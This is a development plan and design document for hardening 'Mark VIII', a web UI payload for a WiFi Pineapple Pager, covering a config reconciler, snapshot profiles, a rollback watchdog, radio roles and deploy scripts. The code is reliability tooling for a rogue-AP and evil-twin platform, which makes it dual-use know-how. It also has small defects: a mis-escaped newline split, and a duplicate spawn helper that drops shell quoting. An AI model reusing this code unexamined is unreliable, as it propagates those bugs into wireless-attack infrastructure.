def auto_name(op):
return 'pre-%s-%d' % (op, int(time.time()))
def list_profiles():
try:
return sorted(d for d in os.listdir(PROFILES_DIR)
if os.path.isdir(_path(d)))
except OSError:
return []
def delete(name):
import shutil
shutil.rmtree(_path(name), ignore_errors=True)
def restore(name):
"""Restore configs then commit once per config. Caller runs wifi reload
/ service restart as appropriate for the operation."""
src = _path(name)
restored = []
if not os.path.isdir(src):
return {'ok': False, 'restored': [], 'error': 'profile not found'}
for cfg in CONFIGS:
fpath = os.path.join(src, cfg + '.uci')
if not os.path.isfile(fpath):
continue
with open(fpath) as f:
text = f.read()
rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
if rc != 0:
return {'ok': False, 'restored': restored,
'error': 'import failed'}
run_cmd(['uci', 'commit', cfg])
restored.append(cfg)
return {'ok': True, 'restored': restored}
LASTKNOWN_GOOD = 'lastknown-good'
def promote_lastknown_good():
"""Replace the lastknown-good profile with the live config."""
delete(LASTKNOWN_GOOD)
return snapshot(LASTKNOWN_GOOD)
```
Update the Step-1 fake to accept `input_data=None` and record imports:
```python
def fake_run(args, timeout=20, input_data=None):
a = list(args)
if a[:2] == ['uci', 'import']:
self.imports = getattr(self, 'imports', [])
self.imports.append((a[2], input_data))
return (0, '', '')
if a[:2] == ['uci', 'export']:
return (0, self.state.get(a[2], ''), '')
if a[:2] == ['uci', 'commit']:
return (0, '', '')
return (0, '', '')
```
- [ ] **Step 4: Run to pass.**
- [ ] **Step 5: Commit**`feat(reliability): UCI profile snapshot store`
---
### Task 3: Reconciler (`mk8_guard.py`)
**Files:**
- Create: `payload/user/remote_access/pager-webui/mk8_guard.py`
- Test: `tests/test_mk8_guard.py`
**Interfaces:**
- Consumes: `server.PINEAPD_SAFE_UCI` (dict of safe pineapd UCI values), `server._apply_uci_wanted(wanted)`, `server._monitor_down(name)`, `server._raise_monitors()`.
- Produces: `WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}`; `POOL_CLEAR_MAX = 20`; `reconcile(clear_pool=True)``{'changed': [...], 'pool_cleared': bool}`; `guard_report()` → dict for `/api/health`.
- [ ] **Step 1: Failing tests**
Full file — reuse the exact `fake_run` device-mock pattern from `tests/test_health.py`:
```python
import os, sys, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
import mk8_guard
class GuardTest(unittest.TestCase):
def setUp(self):
self.calls = []
self.uci = {}
self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
server._iface_up = lambda name: self.mon_up.get(name, True)
def fake_run(args, timeout=20, input_data=None):
a = list(args)
self.calls.append(a)
if a[:2] == ['uci', 'get']:
key = a[2]
if key == 'pineapd.@ssidpool[0].ssid':
return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
return (0, self.uci.get(key, '') + '\n', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
if a[:2] == ['uci', 'delete']:
self.pool = 0
return (0, '', '')
mk8_guard.device_run = fake_run
def tearDown(self):
server._iface_up = lambda name: True
def test_applies_all_wanted_when_missing(self):
self.pool = 0
result = mk8_guard.reconcile(clear_pool=False)
sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
self.assertEqual(len(sets),
len(server.PINEAPD_SAFE_UCI) + len(mk8_guard.WANTED_EXTRA))
self.assertTrue(result['changed'])
def test_clears_large_pool_only(self):
self.pool = 25
result = mk8_guard.reconcile(clear_pool=True)
self.assertTrue(result['pool_cleared'])
self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
def test_small_pool_untouched(self):
self.pool = 5
result = mk8_guard.reconcile(clear_pool=True)
self.assertFalse(result['pool_cleared'])
if __name__ == '__main__':
unittest.main()
```
- [ ] **Step 2: Verify failure** — no module.
- [ ] **Step 3: Implement**
```python
"""Boot-time reconciliation of crash-prone PineAP settings."""
from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
PINEAPD_SAFE_UCI, device_run)
WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
POOL_CLEAR_MAX = 20
MONITORS = ('wlan0mon', 'wlan1mon')
def _pool_size():
rc, out, err = device_run(
['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
if rc != 0 or not (out or '').strip():
return 0
return len([s for s in out.strip().split('\\n') if s])
def reconcile(clear_pool=True):
changed = _apply_uci_wanted(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
pool_cleared = False
if clear_pool and _pool_size() > POOL_CLEAR_MAX:
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
pool_cleared = True
if changed or pool_cleared:
device_run(['uci', 'commit', 'pineapd'])
raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
return {'changed': changed, 'pool_cleared': pool_cleared,
'monitors_raised': raised}
def guard_report():
from server import _pending_uci
pending = _pending_uci(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
return {'in_sync': not pending, 'pending': pending,
'pool_size': _pool_size()}
```
- [ ] **Step 4: Pass. Commit:** `feat(reliability): boot-time UCI reconciler`
---
### Task 4: Guard init script + install wiring
**Files:**
- Create: `payload/user/remote_access/pager-webui/mk8-guard.init`
- Modify: `scripts/deploy.sh` (install block), `payload/user/remote_access/pager-webui/server.py` (CLI flag)
**Interfaces:** CLI: `python3 server.py --reconcile` runs `mk8_guard.reconcile()` and prints JSON; exit 0 always (boot must not fail).
- [ ] **Step 1: Write `mk8-guard.init`:**
```sh
#!/bin/sh /etc/rc.common
# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
START=49
STOP=90
GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
start() {
[ -f "$GUARD_DIR/server.py" ] || return 0
/usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
>/tmp/mk8-guard.log 2>&1 || true
}
stop() { return 0; }
```
- [ ] **Step 2: Add CLI branch in `server.py` `__main__` (after `--release-pager`):**
```python
if '--reconcile' in sys.argv:
try:
import mk8_guard
print(json.dumps(mk8_guard.reconcile()))
except Exception as exc: # boot must never fail here
print(json.dumps({'error': str(exc)}))
sys.exit(0)
```
- [ ] **Step 3: deploy.sh install block (inside REMOTE_COMMAND before EXTRACT_OK echo):**
```sh
cp -f '$DIR/mk8-guard.init' /etc/init.d/mk8-guard
chmod 755 /etc/init.d/mk8-guard
/etc/init.d/mk8-guard enable
```
(`$DIR` is the existing remote payload dir var used by the unzip step.)
- [ ] **Step 4: Local verification:** `python3 -m py_compile payload/user/remote_access/pager-webui/server.py && node --check payload/user/remote_access/pager-webui/www/js/app.js` (JS untouched but cheap sanity). `sh -n scripts/deploy.sh`.
- [ ] **Step 5: Commit**`feat(reliability): START=49 boot guard installed by deploy`
---
### Task 5: Supervisor extension of health monitor
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (`health_check`, `_health_loop`, `h_health`, `serve()` boot sequence)
- Test: `tests/test_health.py` (extend), `tests/test_reliability_api.py` (new)
**Interfaces:**
- Consumes: `mk8_events`, `mk8_guard.guard_report()`.
- Produces in `_health`: `mem_percent`, `events` (last 20), `reliability` counters, `guard` report; boot-marker logic `check_boot_marker()` → bool unexpected; mem sampling `_mem_percent()`.
- [ ] **Step 1: Failing tests** — add to `tests/test_health.py` (same fake_run pattern already there):
```python
class SupervisorExtrasTest(unittest.TestCase):
def runTestWith(self): # helper: reuse existing setUp fake_run
pass
def test_mem_percent_math(self):
import tempfile
content = 'MemTotal: 250000 kB\nMemAvailable: 100000 kB\n'
path = tempfile.mktemp()
open(path, 'w').write(content)
self.assertEqual(server._mem_percent(path), 60)
def test_health_reports_events_and_counters(self):
import mk8_events
mk8_events.log_event('restart', msg='x')
status, h = server.h_health(None)
self.assertEqual(status, 200)
self.assertIn('events', h)
self.assertIn('boots', h['reliability'])
def test_boot_marker_detects_unexpected(self):
import mk8_events, tempfile, os
marker = tempfile.mktemp()
old = server.BOOT_MARKER
server.BOOT_MARKER = marker
try:
open(marker, 'w').write('0')
self.assertTrue(server.check_boot_marker())
os.unlink(marker)
self.assertFalse(server.check_boot_marker())
finally:
server.BOOT_MARKER = old
```
(`_mem_percent` takes a `path` argument so tests inject a temp file; production call passes no arg.)
- [ ] **Step 2: Implement** — key code:
```python
def _mem_percent(path='/proc/meminfo'):
try:
vals = {}
with open(path) as f:
for line in f:
k, v = line.split(':')
vals[k] = int(v.strip().split()[0])
total = vals.get('MemTotal', 0)
avail = vals.get('MemAvailable', vals.get('MemFree', 0))
return round(100.0 * (total - avail) / total) if total else 0
except (OSError, ValueError):
return 0
MEM_WARN_PERCENT = 85
MEM_WARN_STREAK = 5
# inside health_check(), after monitor repair section:
h['mem_percent'] = _mem_percent()
if h['mem_percent'] >= MEM_WARN_PERCENT:
h['mem_streak'] = h.get('mem_streak', 0) + 1
else:
h['mem_streak'] = 0
if h['mem_streak'] == MEM_WARN_STREAK:
mk8_events.log_event('mem_warn', sev='warn',
msg='memory above %d%% sustained' % MEM_WARN_PERCENT)
# restart action gains journaling:
h['fixes'] += 1
mk8_events.log_event('restart', msg='pineapd restarted by health monitor')
```
Boot marker (called from `startup_env_check` tail):
```python
BOOT_MARKER = '/mmc/mk8/boot.marker'
def check_boot_marker():
import os, mk8_events
try:
unexpected = os.path.exists(BOOT_MARKER)
mk8_events.mark_boot(unexpected=unexpected)
with open(BOOT_MARKER, 'w') as f:
f.write(str(int(time.time())))
return unexpected
except OSError:
return False
```
`h_health` additions:
```python
import mk8_events, mk8_guard
h['reliability'] = mk8_events.counters()
h['events'] = mk8_events.read_events(limit=20)
h['guard'] = mk8_guard.guard_report()
```
- [ ] **Step 3: Run full test_health + new api test to pass.**
- [ ] **Step 4: Commit**`feat(reliability): supervisor sampling, event feed, boot marker`
---
### Task 6: Risky-op gate + rollback watchdog
**Files:**
- Create: `payload/user/remote_access/pager-webui/mk8_gate.py`, `payload/user/remote_access/pager-webui/mk8-watchdog.sh`
- Modify: `server.py` (wrap handlers), `deploy.sh` (ship watchdog script)
- Test: `tests/test_mk8_gate.py`
**Interfaces:**
- `watchdog_decision(fails, oks, fail_after=6, healthy_after=6)``'rollback'|'promote'|None` (pure).
- `gated(op, fn)` decorator/context: snapshots `auto_name(op)`, spawns watchdog via `setsid sh mk8-watchdog.sh <profile> ... &`, runs fn, returns `(result, profile)`.
- CLI: `server.py --rollback-snapshot <name>` restores profile + wifi reload; `--promote-snapshot <name>` promotes lastknown-good.
- [ ] **Step 1: Failing decision-table tests**
```python
import os, sys, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import mk8_gate
class DecisionTest(unittest.TestCase):
def tick(self, state):
action, new = mk8_gate.watchdog_decision(state)
return action, new
def test_no_action_below_fail_threshold(self):
action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
self.assertIsNone(action)
self.assertFalse(s['tripped'])
def test_rollback_at_threshold(self):
action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
self.assertEqual(action, 'rollback')
self.assertTrue(s['tripped'])
self.assertEqual(s['oks'], 0)
def test_promote_after_recovery(self):
action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
self.assertEqual(action, 'promote')
def test_no_promote_before_recovery_threshold(self):
action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
self.assertIsNone(action)
if __name__ == '__main__':
unittest.main()
```
- [ ] **Step 2: Implement `mk8_gate.py`**
```python
"""Risky-operation gate: snapshot + detached rollback watchdog."""
import subprocess
WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
FAIL_AFTER = 6 # consecutive local-liveness failures -> rollback
HEALTHY_AFTER = 6 # consecutive successes after failure -> promote
INTERVAL = 5 # seconds between probes
def watchdog_decision(state):
"""state: {'fails': int, 'oks': int, 'tripped': bool,
'fail_after': 6, 'healthy_after': 6}
Returns (action, new_state): action in {'rollback','promote',None}."""
s = dict(state)
fa = s.get('fail_after', FAIL_AFTER)
ha = s.get('healthy_after', HEALTHY_AFTER)
if not s['tripped'] and s['fails'] >= fa:
return 'rollback', dict(s, tripped=True, oks=0)
if s['tripped'] and s['oks'] >= ha:
return 'promote', s
return None, s
def gated(op, profiles, spawn=None):
"""Decorator factory: snapshot config, spawn detached watchdog, run op."""
import shlex
if spawn is None:
def spawn(cmd):
subprocess.Popen(cmd, shell=True, start_new_session=True)
def deco(fn):
def wrapped(*a, **kw):
name = profiles.auto_name(op)
profiles.snapshot(name)
spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &" %
(shlex.quote(WATCHDOG), shlex.quote(name),
INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
return fn(*a, **kw)
return wrapped
return deco
```
(Remove the earlier `NotImplementedError` sketch entirely — this is the final form.)
`gated` implementation:
```python
def gated(op, profiles, spawn=lambda cmd: subprocess.Popen(
cmd, shell=True, start_new_session=True)):
"""Decorator factory. profiles = mk8_profiles module."""
def deco(fn):
def wrapped(*a, **kw):
name = profiles.auto_name(op)
profiles.snapshot(name)
spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &"
% (WATCHDOG, name, INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
return fn(*a, **kw)
return wrapped
return deco
```
- [ ] **Step 3: `mk8-watchdog.sh`**
```sh
#!/bin/sh
# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after>
PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"
DIR="/root/payloads/user/remote_access/pager-webui"
[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
fails=0; oks=0; tripped=0
probe() {
curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
{ ip link show wlan0mon >/dev/null 2>&1 ||
ip link show wlan1mon >/dev/null 2>&1; }
}
while true; do
if probe; then
fails=0
if [ "$tripped" = "1" ]; then
oks=$((oks + 1))
if [ "$oks" -ge "$HA" ]; then
/usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
exit 0
fi
fi
else
fails=$((fails + 1)); oks=0
if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
tripped=1
/usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
fi
fi
sleep "$IV"
done
```
- [ ] **Step 4: Wire gates** — decorate `h_pineap_wifi_set_ap`, `_disable_sta_uplink` call sites, enterprise deploy/stop, and any handler issuing `wifi reload`, with `@mk8_gate.gated('<op>', mk8_profiles)`.
- [ ] **Step 5: CLI rollback/promote hooks in `server.py` `__main__`:**
```python
if '--rollback-snapshot' in sys.argv:
name = sys.argv[sys.argv.index('--rollback-snapshot') + 1]
import mk8_profiles
result = mk8_profiles.restore(name)
device_run(['wifi', 'reload'], timeout=90)
import mk8_events
mk8_events.log_event('rollback', sev='warn',
msg='watchdog restored %s' % name,
meta=result)
print(json.dumps(result))
sys.exit(0)
if '--promote-snapshot' in sys.argv:
name = sys.argv[sys.argv.index('--promote-snapshot') + 1]
import mk8_profiles
print(json.dumps({'promoted': mk8_profiles.promote_lastknown_good()}))
sys.exit(0)
```
- [ ] **Step 6: Tests pass; `sh -n mk8-watchdog.sh`; commit**`feat(reliability): risky-op preflight snapshots + detached rollback watchdog`
---
### Task 7: RF role manager (`mk8_rfplan.py`)
**Files:**
- Create: `payload/user/remote_access/pager-webui/mk8_rfplan.py`
- Modify: `server.py` (routes), UI chip later in Task 8
- Test: `tests/test_mk8_rfplan.py`
**Interfaces:**
- Consumes: `server._pause_hop/_resume_hop/_read_hop`, `server.device_run`, `server._uci_values/_set_uci`, gate from Task 6.
- Produces: `current_role()``'attack'|'uplink'|'idle'`; `set_role(role, ssid=None, psk=None)` → dict result (gated); ensures exclusivity: attack AP enable paths call `ensure_attack()` which auto-switches uplink→attack first.
- Routes: `GET /api/rfplan` , `POST /api/rfplan/role`.
- [ ] **Step 1: Failing tests** (fake device_run capturing uci/iw calls):
```python
def test_uplink_sets_sta_section_and_pauses_hop(self): ...
def test_set_role_uplink_requires_ssid(self): ...
def test_exclusivity_switch(self): ...
def test_current_role_reads_uci(self): ...
```
Assertions: `uci set wireless.wlan1up.mode=sta`, `.disabled=0`, `.ssid=<ssid>`, hop paused via `_pause_hop` mock, `wifi reload` invoked through gated op only.
- [ ] **Step 2: Implement core:**
```python
ROLE_KEY = 'mk8.rfplan.role'
def current_role():
from server import _uci_values
cfg = _uci_values('wireless.wlan1up') or {}
if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
return 'uplink'
return 'idle'
def set_role(role, ssid=None, psk=None):
from server import device_run, _pause_hop, _resume_hop
if role == 'uplink':
if not ssid:
return {'ok': False, 'error': 'ssid required'}
cmds = [
['uci', 'set', 'wireless.wlan1up=wifi-iface'],
['uci', 'set', 'wireless.wlan1up.device=radio1'],
['uci', 'set', 'wireless.wlan1up.mode=sta'],
['uci', 'set', 'wireless.wlan1up.network=cli'],
['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
['uci', 'set', 'wireless.wlan1up.encryption=%s'
% ('psk2' if psk else 'none')],
['uci', 'set', 'wireless.wlan1up.disabled=0'],
]
if psk:
cmds.append(['uci', 'set', 'wireless.wlan1up.key=%s' % psk])
for c in cmds:
device_run(c)
device_run(['uci', 'commit', 'wireless'])
_pause_hop()
device_run(['wifi', 'reload'], timeout=60)
assoc = associated()
if not assoc:
disable_uplink()
_resume_hop()
return {'ok': False, 'error': 'association failed; reverted'}
return {'ok': True, 'role': 'uplink', 'assoc': assoc}
# attack/idle: tear down STA
disable_uplink()
_resume_hop()
return {'ok': True, 'role': role}
def associated():
rc, out, err = device_run(['iw', 'dev', 'wlan1up', 'link'], timeout=10)
if rc != 0 or 'Connected' not in (out or ''):
return None
for line in (out or '').splitlines():
line = line.strip()
if line.startswith('Connected to '):
return line.split()[2]
return None
def disable_uplink():
from server import device_run
device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
device_run(['uci', 'commit', 'wireless'])
def ensure_attack():
if current_role() == 'uplink':
set_role('attack')
```
Handlers in server.py wrap with gate + journal events. `GET /api/rfplan` returns role + assoc + hop-paused state.
- [ ] **Step 3: Pass; py_compile; commit**`feat(reliability): phy1 RF role manager with uplink-on-radio1`
---
### Task 8: UI additions
**Files:**
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js`, `www/js/app.js` (nav if needed), `www/css/app.css`
**Steps (no unit tests; verified by `node --check` + live smoke in Task 10):**
- [ ] Dashboard health panel: events feed list (ts/kind/sev/msg) + counters row (boots/unexpected/rollbacks/restarts/guard fixes) + guard sync chip; render from `/api/health` new fields; CSS classes `mk8-events-feed`, `mk8-counter-row`.
- [ ] Top bar RF chip extension: show `PHY1: UPLINK chNN` when rfplan role is uplink (poll `/api/rfplan` with existing status poll).
- [ ] Settings: "Reliability" card — profile save input + Save button (`POST /api/reliability/profile` {name}), profile list with Restore buttons (`POST /api/reliability/restore` {name}), RF role control (role select + SSID/PSK inputs → `POST /api/rfplan/role`).
- [ ] Add routes in Task 9's API surface before wiring buttons; keep fetch helpers identical to existing patterns (`apiFetch('/api/...')`).
- [ ] `node --check` both JS files; bump cache-bust query `?v=` strings as existing convention does.
- [ ] Commit — `feat(ui): reliability panel, profiles card, RF plan controls`
---
### Task 9: API routes + atomic deploys + VERSION
**Files:**
- Modify: `server.py` ROUTER block (~line 6804), `scripts/deploy.sh`, create `VERSION`
- Test: `tests/test_reliability_api.py`
- [ ] **Routes:**
```python
ROUTER.add('GET', r'/api/rfplan', h_rfplan_get)
ROUTER.add('POST', r'/api/rfplan/role', h_rfplan_post)
ROUTER.add('GET', r'/api/reliability/profiles', h_profiles_get)
ROUTER.add('POST', r'/api/reliability/profile', h_profile_save)
ROUTER.add('POST', r'/api/reliability/restore', h_profile_restore)
```
Handlers thin-wrape `mk8_rfplan` / `mk8_profiles`; restore handler runs inside `mk8_gate.gated('restore_profile', ...)`. All auth-gated automatically by existing middleware.
- [ ] **VERSION file:** `1.4.0`
- [ ] **deploy.sh rework:**
1. Read `VERSION` → stamp build copies of `_hak5_manifest.json` (`version`), `payload.sh` header comment, and inject `SERVER_VERSION = 'X'` into staged `server.py` (build dir only, never source tree).
2. Remote flow: scp zip to `/tmp/mk8-stage/` → verify sha256 of uploaded zip matches local → stop service → extract to `/mmc/mk8/releases/<ts>/` → repoint `current` symlink atomically (`ln -sfn`) → install/update `/etc/init.d/mk8-guard` + copy `mk8-watchdog.sh` → start → poll `http://127.0.0.1:8080/api/api_ping` (via SSH-local curl) ≤60 s → compare served banner/version → on failure: `ln -sfn` back to previous release + start + exit 1.
3. Keep legacy overlay payload dir as symlink target for portal compatibility: `/root/payloads/user/.../pager-webui` → real dir stays, contains pointer script or bind; simplest: leave legacy install untouched and have `current` be canonical (init scripts already fall back to `/mmc/mk8/releases/current`).
- [ ] **Tests:** unit-test stamping function `stamp_version(build_dir)` extracted into `scripts/build_common.py` (new) so it is importable: asserts manifest/payload/server contain version; sha256 check tested with tmpfiles.
- [ ] **Commit**`feat(deploy): atomic releases, VERSION single-source, post-deploy verification`
---
### Task 10: On-device smoke suite + live verification
**Files:**
- Create: `scripts/smoke.sh`
- [ ] **smoke.sh checks (each prints PASS/FAIL, non-destructive unless `--write` given):**
1. Service up: `curl :8080/api/api_ping`.
2. Guard installed: `[ -x /etc/init.d/mk8-guard ]` and enabled symlink exists.
3. Invariants: `uci get` each wanted key equals expected; pool size ≤ 20.
4. Journal writable + has boot event: tail events.log on device.
5. Monitors up: `ip link show wlan0mon/wlan1mon`.
6. (`--write`) Bad-value drill: set `pineapd.wlan1mon.bands='2,5'` → run `--reconcile` → expect `'5'`; set pool of 25 SSIDs → reconcile → cleared.
7. (`--write`) Role drill: set_role uplink to lab AP → expect assoc; set_role attack → expect monitors hopping again.
8. Deploy version match: `/api/health` version == `cat VERSION`.
- [ ] **Execution order:** full local unit suite (every `tests/test_*.py` individually) → deploy via `./scripts/deploy.sh --password '<pw>'` → reboot device via SSH → wait for SSH return → rerun smoke.sh → confirm guards survived boot → report.
- [ ] **Commit**`test(smoke): on-device reliability suite` ; final tag `v1.4.0` after user confirmation.
---
## Verification matrix (spec → tasks)
| Spec requirement | Task |
|---|---|
| Boot guard before S50 | 4 |
| Reconciler invariants (5 crash sources) | 3 |
| Profiles + lastknown-good | 2 |
| Knock-off rollback watchdog (local liveness) | 6 |
| RF roles, uplink→phy1, hop pause/resume | 7 |
| Supervisor sampling + hysteresis + alerts | 5 |
| Event journal on /mmc + boot detection | 1, 5 |
| Atomic deploy + version single-source | 9 |
| UI health/events/profiles/RF | 8, 9 |
| Unit + smoke tests | all, 10 |
@@ -0,0 +1,202 @@
# Mark VIII Reliability Core + Integrated Supervisor — Design
Date: 2026-08-22
Branch: `feature/reliability`
Status: Approved by user (design sections 17)
## Problem
Mark VIII works, but the device does not run reliably or consistently as
expected. Evidence from 79 prior opencode sessions, the repository history,
the factory firmware image, and the live device:
1. **Factory defaults are themselves unstable.** The stock firmware image
(`pineapplepager-firmware-1.1.0-signed.bin`, OpenWrt 24.10.1,
ramips/mt76x8, kernel 6.6.86) ships `/etc/config/pineapd` with every
verified crash source enabled: `wlan1mon` bands `'2,5'` fast-hop,
`wlan2mon` enabled+hop on a nonexistent interface, SSID pool without an
explicit disable, pool target `broadcast`. Any reset, upgrade, or stock-UI
reconvergence reintroduces pineapd SIGSEGV crash loops.
2. **Fixes revert.** Crash-guard UCI values applied at runtime were observed
reverting to unsafe defaults after service restarts and deploys.
3. **Knock-offs.** Enabling client-mode uplink / `wifi reload` mid-operation
repeatedly killed management reachability (SSH/HTTP), forcing power
cycles and losing engagement state.
4. **2.4 GHz blindness.** The client uplink STA on phy0 pins the radio's
channel; wlan0mon cannot hop, so 2.4 GHz recon goes quiet while appearing
"green" in older UI logic.
5. **Reboot fragility.** After reboots, stale configs and refilled pools
produced broken states until v1.3.x added startup checks; ordering is
still wrong: Mark VIII starts at S99, *after* pineapd (S50).
6. **Deploy fragility.** Non-atomic deploys, version confusion across three
files, portal refresh failures, and one secret-leak incident.
User decisions: payload-only hardening (no firmware flashing); uplink moves
to phy1; Reliability Core plus an integrated lightweight supervisor;
experimental work on a branch.
## Goals
A device that: survives reboot/firmware-upgrade with safe PineAP state;
never loses management reachability from a UI-initiated operation; keeps
2.4 GHz operations fully available during engagements; reports radio truth;
and self-heals known failure modes without human intervention.
## Non-goals
Firmware repacking/flashing (parked as future experiment), new standalone
processes/daemons, external databases, metrics graphing beyond counters,
`:1471` takeover.
## Architecture
All changes live inside the existing payload. Three layers, one process:
- **Guard** — `mk8-guard` init script installed by `payload.sh` at START=49
(before the S50 pineapple stack that launches `pineapd`): enforces the
known-good UCI profile before crash-prone daemons start. Idempotent;
commits only differences; logs to syslog and the event journal once Mark
VIII is up.
- **Core** — backend modules in `server.py` (pure stdlib, python3-light
compatible): config reconciler, profile store, RF role manager,
preflight/rollback gates.
- **Supervisor** — passive sampler thread inside `server.py`, capped JSONL
event journal, UI health panel.
Persistent state lives in `/mmc/mk8/` (ext4, 3.3 GB free) which survives
reboots *and* firmware upgrades (overlay wipe):
```
/mmc/mk8/
profiles/<name>/{pineapd,wireless,network}.uci # named snapshots
releases/{current,previous}/ # atomic deploy dirs
events.log # rotated JSONL journal
boot.marker # boot counter / clean-shutdown flag
```
## Components
### 1. Boot-time reconciler
Runs on every service start (and `mk8-guard` runs it early at boot).
Compares live UCI against the built-in known-good profile; commits only
differences; logs each action to the journal.
Enforced invariants (the five verified crash sources plus v1.3.x rules):
- `pineapd.@ssidpool[0].disable='1'` and empty `ssid` list
- `pineapd.wlan2mon.disable='1'`, `hop='0'`
- `pineapd.wlan1mon.bands='5'`
- `pineapd.@pineapd[0].autossidpool='0'`
- `wireless.dummy_radio0` parked per v1.3.1 semantics (disabled unless a
scan explicitly borrows it)
- monitor interfaces present and administratively up
The reconciler never touches AP sections owned by the user (evil twins),
client sections, or network/firewall config.
### 2. Profiles + knock-off protection
- **Profile store**: `uci export` snapshots under `/mmc/mk8/profiles/`.
Save/restore from Settings UI; restore = write files + `wifi reload` +
guard re-run. One profile is auto-captured as `lastknown-good` whenever
all health checks pass for ≥5 minutes.
- **Preflight gate** wraps every risky operation: client-mode connect or
disconnect, `wifi reload`, any AP enable/disable, enterprise engine
start/stop, any UCI commit touching `wireless`/`network`. Sequence:
auto-snapshot `pre-<op>-<ts>` → apply → spawn detached watchdog.
- **Rollback watchdog**: a small POSIX sh script started via `setsid` so it
survives SSH/UI death. It probes **local** liveness only — HTTP GET to
`127.0.0.1:8080/api/health` and presence/state of the management
interface — deliberately ignoring workstation-side reachability, which
historically caused false assumptions. If local probes fail on N
consecutive checks (default 6 × 5 s), it restores the pre-op snapshot,
runs `wifi reload`, writes a `ROLLBACK` journal entry, and exits. Success
path: after M consecutive healthy checks it promotes the snapshot to
`lastknown-good` and exits.
### 3. RF role manager (uplink on phy1)
Declarative, mutually exclusive radio plan enforced server-side:
- **phy0 = OPS, always**: monitor hop + PineAP + 2.4 GHz evil twins. Never
carries the uplink again.
- **phy1 ∈ {attack, uplink, idle}**: role switch API + UI control.
`set-role(uplink)`: snapshot config → create/enable a `wifi-iface` STA
section on `radio1` → pause `wlan1mon` hop (reusing the existing pause/
resume mechanism used by radio1 APs) → verify association truthfully
(iw + daemon state). Failure at any step → rollback snapshot + event.
`set-role(attack)`: STA disabled → monitor/AP stack restored.
Honest tradeoff surfaced in UI text: while the phy1 uplink associates, phy1
is pinned to the uplink channel — 5 GHz recon is limited to that channel;
2.4 GHz remains fully hoppable. The dashboard RF chip shows
`PHY0: OPS · PHY1: UPLINK ch36` style state.
### 4. Supervisor
A sampler thread inside the existing backend process:
- Every 30 s, passive reads only (`pidof`, `iw dev`, `/proc/meminfo`,
interface flags) — no pineapd socket pings (crash source 5).
- SIGSEGV trend via throttled `logread | grep -c` scan every 5 min.
- Hysteresis actions: pineapd absent for 2 consecutive samples →
`/etc/init.d/pineapd restart` + guard verify; monitor dropped → re-raise
(`ip link set <iface> up`); memory >85% sustained 5 samples → alert only
(no aggressive action).
- Event journal: JSONL entries `{ts, kind, sev, msg, meta}` rotated at
5 MB × 4 files.
- Unexpected-reboot detection via `/mmc/mk8/boot.marker` (clean shutdown
clears it; boot increments counter when present).
- UI: Dashboard health panel gains recent-events feed + reliability
counters (boots, unexpected boots, rollbacks, restarts, guard fixes);
`/api/health` extended accordingly.
### 5. Deploy hardening
- Single-source version: top-level `VERSION` file consumed by build step to
stamp `_hak5_manifest.json`, `payload.sh`, and `server.py` banner; no more
hand-synced numbers.
- Atomic deploys in `scripts/deploy.sh`: stage upload to `/tmp/mk8-stage`
→ sha256 manifest verification → stop service → swap into
`/mmc/mk8/releases/current` (previous kept) → start → post-deploy
self-check (version match + local health probe). Failed self-check →
previous release restored automatically.
- Payload install continues to work from overlay paths for compatibility;
release dir on `/mmc` is symlinked as the service target.
### 6. Testing & verification
Unit tests (existing pattern: stdlib unittest, mocks, one module per
process): reconciler diff-only idempotence; profile save/restore roundtrip;
role exclusivity + hop pause/resume; watchdog decision table (probe
outcomes × thresholds); deploy staging flow with mocked SSH; supervisor
sampling parsers and hysteresis.
New `scripts/smoke.sh` (on-device, read-only unless explicitly flagged):
boot persistence of guards, guard enforcement after writing factory-default
bad values (then restoring), role-switch cycle uplink↔attack, rollback
watchdog trigger against a deliberately stopped port (safe variant), deploy
version match, journal integrity.
## Failure modes & handling
| Failure | Handling |
|---|---|
| Factory-default bad UCI at boot | Guard fixes before pineapd starts |
